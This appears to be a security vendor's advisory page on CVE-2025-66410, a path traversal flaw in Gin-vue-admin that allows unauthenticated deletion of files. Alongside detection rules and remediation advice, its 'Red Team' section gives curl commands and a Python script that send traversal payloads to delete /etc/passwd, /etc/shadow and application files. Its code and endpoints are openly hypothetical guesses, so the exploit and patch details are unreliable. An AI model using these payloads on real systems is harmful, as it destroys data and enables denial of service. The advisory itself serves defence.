CVE-2025-66410
Executive Summary
CVE-2025-66410 is a critical path traversal vulnerability in Gin-vue-admin, a popular backstage management system built with Vue and Gin (Go). In version 2.8.6 and earlier, an unauthenticated attacker can exploit the FileMd5 parameter to delete arbitrary files and folders on the server. This can lead to severe denial of service, data loss, or complete system compromise. The vulnerability has a CVSS score of 0.0 in the NVD but is assessed here as critical due to the lack of authentication required and the high impact on integrity and availability. No official patch has been released at the time of analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Gin-vue-admin is a Go-based project. The vulnerability exists in the backend API handler that processes file deletion requests. Since the project is open-source and widely used in Chinese enterprises, the supply chain risk is significant. Organizations using this framework should immediately assess their exposure and consider isolating the management interface until a patch is available.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
- Confidentiality (C): None (N) – No data exfiltration, but deletion can destroy data.
- Integrity (I): High (H) – Arbitrary file deletion destroys data integrity.
- Availability (A): High (H) – Deletion of critical files can cause denial of service.
Threat Level: Critical. The ability to delete any file without authentication makes this a high-priority vulnerability for immediate remediation.
Deep Dive & Mechanics
The vulnerability resides in the file deletion endpoint of Gin-vue-admin. The application uses a parameter named FileMd5 to specify which file to delete. The backend code likely constructs a file path by concatenating a base directory with the FileMd5 value without proper sanitization. An attacker can inject path traversal sequences (e.g., ../) to escape the intended directory and delete arbitrary files.
Root Cause: The application fails to validate or sanitize the FileMd5 parameter, allowing directory traversal. Additionally, there is no authentication check on the deletion endpoint.
Attack Flow:
- Identify the vulnerable endpoint (e.g.,
/api/file/delete). - Send a POST request with
FileMd5set to a path traversal payload, such as../../etc/passwd. - The server deletes the targeted file.
Impact:
- Deletion of configuration files (e.g.,
config.yaml) can break the application. - Deletion of system files (e.g.,
/etc/passwd) can cause OS instability. - Deletion of database files can lead to complete data loss.
Vulnerable vs. Patched Code
Vulnerable Code (Hypothetical):
func DeleteFile(c *gin.Context) {
fileMd5 := c.PostForm("FileMd5")
filePath := filepath.Join(uploadDir, fileMd5)
os.Remove(filePath)
c.JSON(200, gin.H{"message": "deleted"})
}
Patched Code (Hypothetical):
func DeleteFile(c *gin.Context) {
fileMd5 := c.PostForm("FileMd5")
// Validate that fileMd5 is a valid MD5 hash (32 hex characters)
if !regexp.MustCompile(`^[a-f0-9]{32}$`).MatchString(fileMd5) {
c.JSON(400, gin.H{"error": "invalid file identifier"})
return
}
filePath := filepath.Join(uploadDir, fileMd5)
// Ensure the resolved path is within the upload directory
absPath, _ := filepath.Abs(filePath)
absUploadDir, _ := filepath.Abs(uploadDir)
if !strings.HasPrefix(absPath, absUploadDir) {
c.JSON(400, gin.H{"error": "invalid path"})
return
}
os.Remove(absPath)
c.JSON(200, gin.H{"message": "deleted"})
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of Gin-vue-admin 2.8.6 or earlier.
- Network access to the vulnerable endpoint.
Exploit Steps:
- Identify the vulnerable endpoint. Common paths include
/api/file/deleteor/api/v1/file/delete. - Craft a POST request with the
FileMd5parameter containing path traversal sequences.
Example Exploit (using curl):
# Delete /etc/passwd (Linux)
curl -X POST http://target.com/api/file/delete \
-d "FileMd5=../../etc/passwd"
# Delete a configuration file
curl -X POST http://target.com/api/file/delete \
-d "FileMd5=../config.yaml"
Automated Exploit (Python):
import requests
target = "http://target.com/api/file/delete"
payloads = [
"../../etc/passwd",
"../../etc/shadow",
"../config.yaml",
"../data.db"
]
for payload in payloads:
r = requests.post(target, data={"FileMd5": payload})
print(f"Deleted {payload}: {r.status_code}")
Blue Team
Detection:
- Monitor for POST requests to
/api/file/deletewith suspiciousFileMd5values containing../or..\\. - Alert on any file deletion events outside the expected upload directory.
Hunting:
- Search logs for
FileMd5parameters containing path traversal patterns. - Check for unexpected file deletions in system logs (e.g.,
auditdon Linux).
Mitigation:
- Immediately restrict access to the vulnerable endpoint using a WAF or reverse proxy.
- Implement input validation to ensure
FileMd5is a valid MD5 hash. - Apply the principle of least privilege to the application user.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/api/file/deletewithFileMd5containing../or..\\. - Unusual HTTP 200 responses from the deletion endpoint.
- POST requests to
- File System:
- Unexpected deletion of critical files (e.g.,
/etc/passwd,config.yaml). - Missing files in the application's upload directory.
- Unexpected deletion of critical files (e.g.,
- Logs:
- Application logs showing
FileMd5values with path traversal sequences. - System logs (e.g.,
audit.log) showingunlinkorrmoperations on unexpected paths.
- Application logs showing
Detection Engineering
YARA Rule
rule CVE_2025_66410_FileDeletion {
meta:
description = "Detects path traversal attempts in Gin-vue-admin FileMd5 parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-66410"
strings:
$traversal1 = "../"
$traversal2 = "..\\"
$param = "FileMd5"
condition:
$param and ($traversal1 or $traversal2)
}
Sigma Rule
title: CVE-2025-66410 - Gin-vue-admin Arbitrary File Deletion
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-66410 via path traversal in FileMd5 parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: nginx
detection:
selection:
c-uri|contains: "/api/file/delete"
cs-method: "POST"
cs-uri-query|contains: "FileMd5=../"
condition: selection
falsepositives:
- Legitimate use of relative paths in file management (unlikely)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-66410 - Gin-vue-admin Arbitrary File Deletion Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/file/delete"; http_uri; content:"FileMd5"; http_client_body; content:"../"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the vulnerable system: If possible, take the Gin-vue-admin interface offline or restrict access to trusted IPs only.
- Apply a WAF rule: Block POST requests to
/api/file/deletewithFileMd5containing../or..\\. - Monitor logs: Actively search for exploitation attempts using the provided detection rules.
Long-term Fix:
- Patch: Await an official patch from the vendor. In the meantime, apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section.
- Upgrade: Once a patched version is released (e.g., 2.8.7 or later), upgrade immediately.
- Code Review: Conduct a security audit of all file handling endpoints in the application.
Workaround:
- Modify the source code to validate the
FileMd5parameter as a 32-character hexadecimal string before processing.
Valters IT
Securing Digital Frontiers